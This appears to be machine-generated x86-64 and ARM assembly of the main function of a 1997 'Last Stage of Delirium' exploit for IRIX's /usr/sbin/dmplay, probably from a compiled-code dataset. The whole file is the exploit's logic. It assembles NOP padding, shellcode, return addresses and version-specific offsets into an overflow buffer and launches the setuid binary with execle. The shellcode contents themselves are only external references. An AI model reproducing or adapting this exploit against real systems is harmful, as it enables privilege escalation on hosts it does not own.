	.file	"extr_20128.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC0:
	.string	"copyright LAST STAGE OF DELIRIUM oct 1997 poland  //lsd-pl.net/"
	.align 8
.LC1:
	.string	"/usr/sbin/dmplay for irix 6.2 6.3 IP:17,19,20,21,22,32\n"
	.align 8
.LC2:
	.string	"usage: %s {62|63} xserver:display\n"
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC3:
	.string	"DISPLAY=%s"
.LC4:
	.string	"lsd"
.LC5:
	.string	"/usr/sbin/dmplay"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	r12
	.cfi_def_cfa_offset 16
	.cfi_offset 12, -16
	push	rbp
	.cfi_def_cfa_offset 24
	.cfi_offset 6, -24
	push	rbx
	.cfi_def_cfa_offset 32
	.cfi_offset 3, -32
	sub	rsp, 4096
	.cfi_def_cfa_offset 4128
	or	QWORD PTR [rsp], 0
	sub	rsp, 4096
	.cfi_def_cfa_offset 8224
	or	QWORD PTR [rsp], 0
	sub	rsp, 1984
	.cfi_def_cfa_offset 10208
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR 10168[rsp], rax
	xor	eax, eax
	mov	ebp, edi
	lea	rdi, .LC0[rip]
	mov	rbx, rsi
	call	puts@PLT
	lea	rdi, .LC1[rip]
	call	puts@PLT
	cmp	ebp, 3
	je	.L2
	mov	rsi, QWORD PTR [rbx]
	lea	rdi, .LC2[rip]
	xor	eax, eax
	call	printf@PLT
	or	edi, -1
	call	exit@PLT
.L2:
	mov	rax, QWORD PTR 8[rbx]
	cmp	BYTE PTR [rax], 54
	jne	.L4
	cmp	BYTE PTR 1[rax], 50
	je	.L28
	.p2align 4,,10
	.p2align 3
.L4:
	cmp	BYTE PTR [rax], 54
	jne	.L6
	cmp	BYTE PTR 1[rax], 51
	je	.L29
	.p2align 4,,10
	.p2align 3
.L6:
	mov	rdx, QWORD PTR 16[rbx]
	lea	rbx, 32[rsp]
	lea	rsi, .LC3[rip]
	mov	rdi, rbx
	call	sprintf@PLT
	mov	eax, DWORD PTR NOPNUM[rip]
	mov	QWORD PTR [rsp], rbx
	mov	QWORD PTR 8[rsp], 0
	test	eax, eax
	jle	.L18
	lea	ecx, -1[rax]
	mov	rsi, QWORD PTR nop[rip]
	xor	eax, eax
	lea	r12, 160[rsp]
	lea	rbp, 1[rcx]
	.p2align 4,,10
	.p2align 3
.L8:
	mov	rdx, rax
	and	edx, 3
	mov	edx, DWORD PTR [rsi+rdx*4]
	mov	BYTE PTR [r12+rax], dl
	mov	rdx, rax
	add	rax, 1
	cmp	rdx, rcx
	jne	.L8
	add	rbp, r12
.L7:
	mov	rdi, QWORD PTR shellcode[rip]
	xor	ebx, ebx
	jmp	.L9
	.p2align 4,,10
	.p2align 3
.L10:
	mov	rdi, QWORD PTR shellcode[rip]
	mov	rbp, rax
	mov	edx, DWORD PTR [rdi+rbx*4]
	add	rbx, 1
	mov	BYTE PTR -1[rax], dl
.L9:
	call	strlen@PLT
	mov	r8d, eax
	lea	rax, 1[rbp]
	cmp	r8d, ebx
	jg	.L10
	mov	edx, DWORD PTR ADRNUM[rip]
	mov	BYTE PTR 0[rbp], -1
	test	edx, edx
	jle	.L11
	lea	esi, -1[rdx]
	xor	edx, edx
	lea	rdi, 1[rsi]
	.p2align 4,,10
	.p2align 3
.L12:
	mov	rcx, rdx
	and	ecx, 3
	movzx	ecx, BYTE PTR 20[rsp+rcx]
	mov	BYTE PTR [rax+rdx], cl
	mov	rcx, rdx
	add	rdx, 1
	cmp	rcx, rsi
	jne	.L12
	add	rax, rdi
.L11:
	mov	edx, DWORD PTR TMPNUM[rip]
	test	edx, edx
	jle	.L13
	lea	esi, -1[rdx]
	xor	edx, edx
	lea	rdi, 1[rsi]
	.p2align 4,,10
	.p2align 3
.L14:
	mov	rcx, rdx
	and	ecx, 3
	movzx	ecx, BYTE PTR 28[rsp+rcx]
	mov	BYTE PTR [rax+rdx], cl
	mov	rcx, rdx
	add	rdx, 1
	cmp	rcx, rsi
	jne	.L14
	add	rax, rdi
.L13:
	mov	edx, DWORD PTR PCHNUM[rip]
	test	edx, edx
	jle	.L15
	lea	esi, -1[rdx]
	xor	edx, edx
	lea	rdi, 1[rsi]
	.p2align 4,,10
	.p2align 3
.L16:
	mov	rcx, rdx
	and	ecx, 3
	movzx	ecx, BYTE PTR 24[rsp+rcx]
	mov	BYTE PTR [rax+rdx], cl
	mov	rcx, rdx
	add	rdx, 1
	cmp	rsi, rcx
	jne	.L16
	add	rax, rdi
.L15:
	mov	BYTE PTR [rax], 0
	xor	ecx, ecx
	mov	r8, rsp
	mov	rdx, r12
	lea	rsi, .LC4[rip]
	lea	rdi, .LC5[rip]
	call	execle@PLT
	mov	rax, QWORD PTR 10168[rsp]
	xor	rax, QWORD PTR fs:40
	jne	.L30
	add	rsp, 10176
	.cfi_remember_state
	.cfi_def_cfa_offset 32
	xor	eax, eax
	pop	rbx
	.cfi_def_cfa_offset 24
	pop	rbp
	.cfi_def_cfa_offset 16
	pop	r12
	.cfi_def_cfa_offset 8
	ret
.L29:
	.cfi_restore_state
	cmp	BYTE PTR 2[rax], 0
	jne	.L6
	xor	eax, eax
	call	[QWORD PTR jump[rip]]
	add	rax, 10380
	mov	QWORD PTR 20[rsp], rax
	xor	eax, eax
	call	[QWORD PTR jump[rip]]
	add	rax, 11196
	mov	QWORD PTR 24[rsp], rax
	xor	eax, eax
	call	[QWORD PTR jump[rip]]
	add	rax, 18380
	mov	QWORD PTR 28[rsp], rax
	jmp	.L6
.L28:
	cmp	BYTE PTR 2[rax], 0
	jne	.L4
	xor	eax, eax
	call	[QWORD PTR jump[rip]]
	add	rax, 10428
	mov	QWORD PTR 20[rsp], rax
	xor	eax, eax
	call	[QWORD PTR jump[rip]]
	add	rax, 41868
	mov	QWORD PTR 24[rsp], rax
	xor	eax, eax
	call	[QWORD PTR jump[rip]]
	add	rax, 18428
	mov	QWORD PTR 28[rsp], rax
	mov	rax, QWORD PTR 8[rbx]
	jmp	.L4
.L18:
	lea	r12, 160[rsp]
	mov	rbp, r12
	jmp	.L7
.L30:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	shellcode,8,8
	.comm	nop,8,8
	.comm	jump,8,8
	.comm	TMPNUM,4,4
	.comm	PCHNUM,4,4
	.comm	NOPNUM,4,4
	.comm	ADRNUM,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_20128.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"copyright LAST STAGE OF DELIRIUM oct 1997 poland  /"
	.ascii	"/lsd-pl.net/\000"
	.align	2
.LC1:
	.ascii	"/usr/sbin/dmplay for irix 6.2 6.3 IP:17,19,20,21,22"
	.ascii	",32\012\000"
	.align	2
.LC2:
	.ascii	"usage: %s {62|63} xserver:display\012\000"
	.align	2
.LC3:
	.ascii	"DISPLAY=%s\000"
	.align	2
.LC4:
	.ascii	"lsd\000"
	.align	2
.LC5:
	.ascii	"/usr/sbin/dmplay\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC6:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 10152
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, lr}
	mov	r5, r0
	sub	sp, sp, #10112
	sub	sp, sp, #52
	ldr	r2, .L40
	add	r3, sp, #10112
	ldr	r0, .L40+4
	add	r3, r3, #44
	mov	r4, r1
	ldr	r2, [r2]
	str	r2, [r3]
	mov	r2,#0
	bl	puts
	ldr	r0, .L40+8
	bl	puts
	cmp	r5, #3
	beq	.L2
	ldr	r1, [r4]
	ldr	r0, .L40+12
	bl	printf
	mvn	r0, #0
	bl	exit
.L2:
	ldr	r3, [r4, #4]
	ldrb	r2, [r3]	@ zero_extendqisi2
	cmp	r2, #54
	bne	.L36
	ldrb	r2, [r3, #1]	@ zero_extendqisi2
	cmp	r2, #50
	beq	.L33
.L36:
	add	r6, sp, #1968
.L4:
	ldrb	r2, [r3]	@ zero_extendqisi2
	cmp	r2, #54
	bne	.L6
	ldrb	r2, [r3, #1]	@ zero_extendqisi2
	cmp	r2, #51
	beq	.L38
.L6:
	add	r5, sp, #28
	mov	r0, r5
	ldr	r2, [r4, #8]
	ldr	r1, .L40+16
	bl	sprintf
	mov	r3, #0
	ldr	r2, .L40+20
	str	r5, [r6, #-1960]
	ldr	r0, [r2]
	str	r3, [r6, #-1956]
	cmp	r0, r3
	add	r5, sp, #156
	ble	.L18
	mov	r2, r5
	ldr	r1, .L40+24
	ldr	ip, [r1]
.L8:
	and	r1, r3, #3
	ldr	r1, [ip, r1, lsl #2]
	add	r3, r3, #1
	cmp	r3, r0
	strb	r1, [r2], #1
	bne	.L8
	add	r4, r5, r3
.L7:
	ldr	r3, .L40+28
	mvn	r8, r4
	ldr	r9, [r3]
	sub	r7, r9, #4
	b	.L9
.L10:
	mov	r4, r3
	ldr	r2, [r7, #4]!
	strb	r2, [r3, #-1]
.L9:
	mov	r0, r9
	bl	strlen
	add	r3, r4, #1
	add	r2, r3, r8
	cmp	r0, r2
	bgt	.L10
	mvn	r1, #0
	ldr	r2, .L40+32
	strb	r1, [r4]
	ldr	r2, [r2]
	cmp	r2, #0
	ble	.L19
	mov	r0, #0
	add	r2, r3, r2
.L12:
	and	r1, r0, #3
	add	r1, r6, r1
	ldrb	r1, [r1, #-1952]	@ zero_extendqisi2
	add	r0, r0, #1
	strb	r1, [r3], #1
	cmp	r3, r2
	bne	.L12
.L11:
	ldr	r3, .L40+36
	ldr	r3, [r3]
	cmp	r3, #0
	ble	.L20
	mov	r0, #0
	add	r3, r2, r3
.L14:
	and	r1, r0, #3
	add	r1, r6, r1
	ldrb	r1, [r1, #-1944]	@ zero_extendqisi2
	add	r0, r0, #1
	strb	r1, [r2], #1
	cmp	r3, r2
	bne	.L14
.L13:
	ldr	r2, .L40+40
	ldr	r0, [r2]
	cmp	r0, #0
	ble	.L21
	mov	r1, #0
	add	r0, r3, r0
.L16:
	and	r2, r1, #3
	add	r2, r6, r2
	ldrb	r2, [r2, #-1948]	@ zero_extendqisi2
	add	r1, r1, #1
	strb	r2, [r3], #1
	cmp	r0, r3
	bne	.L16
.L15:
	mov	r4, #0
	add	r1, sp, #8
	strb	r4, [r0]
	mov	r2, r5
	mov	r3, r4
	str	r1, [sp]
	ldr	r0, .L40+44
	ldr	r1, .L40+48
	bl	execle
	add	r3, sp, #10112
	ldr	r2, .L40
	add	r3, r3, #44
	ldr	r1, [r2]
	ldr	r2, [r3]
	eors	r1, r2, r1
	mov	r2, #0
	bne	.L39
	mov	r0, r4
	add	sp, sp, #10112
	add	sp, sp, #52
	@ sp needed
	pop	{r4, r5, r6, r7, r8, r9, pc}
.L38:
	ldrb	r3, [r3, #2]	@ zero_extendqisi2
	cmp	r3, #0
	bne	.L6
	ldr	r5, .L40+52
	ldr	r3, [r5]
	blx	r3
	add	r0, r0, #10368
	ldr	r3, [r5]
	add	r0, r0, #12
	str	r0, [r6, #-1952]
	blx	r3
	add	r0, r0, #11136
	add	r0, r0, #60
	ldr	r3, [r5]
	str	r0, [r6, #-1948]
	blx	r3
	add	r0, r0, #18176
	add	r0, r0, #204
	str	r0, [r6, #-1944]
	b	.L6
.L33:
	ldrb	r2, [r3, #2]	@ zero_extendqisi2
	cmp	r2, #0
	bne	.L36
	ldr	r5, .L40+52
	add	r6, sp, #1968
	ldr	r3, [r5]
	blx	r3
	add	r0, r0, #10368
	ldr	r3, [r5]
	add	r0, r0, #60
	str	r0, [r6, #-1952]
	blx	r3
	add	r0, r0, #41728
	ldr	r3, [r5]
	add	r0, r0, #140
	str	r0, [r6, #-1948]
	blx	r3
	add	r0, r0, #18176
	add	r0, r0, #252
	ldr	r3, [r4, #4]
	str	r0, [r6, #-1944]
	b	.L4
.L21:
	mov	r0, r3
	b	.L15
.L18:
	mov	r4, r5
	b	.L7
.L19:
	mov	r2, r3
	b	.L11
.L20:
	mov	r3, r2
	b	.L13
.L39:
	bl	__stack_chk_fail
.L41:
	.align	2
.L40:
	.word	.LC6
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	NOPNUM
	.word	nop
	.word	shellcode
	.word	ADRNUM
	.word	TMPNUM
	.word	PCHNUM
	.word	.LC5
	.word	.LC4
	.word	jump
	.size	main, .-main
	.comm	shellcode,4,4
	.comm	nop,4,4
	.comm	jump,4,4
	.comm	TMPNUM,4,4
	.comm	PCHNUM,4,4
	.comm	NOPNUM,4,4
	.comm	ADRNUM,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
